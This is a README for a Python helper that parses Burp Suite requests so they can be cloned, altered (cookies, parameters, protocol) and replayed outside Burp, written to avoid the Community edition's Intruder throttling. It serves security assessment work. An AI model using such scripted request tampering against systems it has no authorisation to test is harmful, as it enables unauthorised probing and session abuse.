# What is it
A Burp Suite request parser, used for aid in assessing application security functionality.

# Why I wrote it
To bypass the throttling 'Burp Suite Community' does to the intruder.

# Usage
Use burpr.py module to parse the Burp Suite copied request. Then use the created object to extract headers and body.

Supports parsing requests as strings and as .txt files.

```python
import burpr

# Load from string
req = burpr.parse_string(req_string)

# Load from file
req = burpr.parse_file(req_file_path)

# clone the request
req_clone = burpr.clone(req)

# change protocol to http1.1
req_clone.set_protocol(burpr.protocols.HTTP1_1)

# change transport to http
req_clone.set_transport(burpr.transports.HTTP)

# modify the header
req_clone.set_header("Cookie", "session=modified_session_cookie")

# modify the parameter
req_clone.set_parameter("post-param", "AAABBBCCC")

# remove parameter
req_clone.remove_parameter("post-param")

# remove header
req_clone.remove_header("Cookie")

# adjust Content-Length for parameter change
burpr.prepare(req_clone)

client = httpx.Client(http2=True)
res = client.post(req.url, headers=req.headers, data=req.body)
```
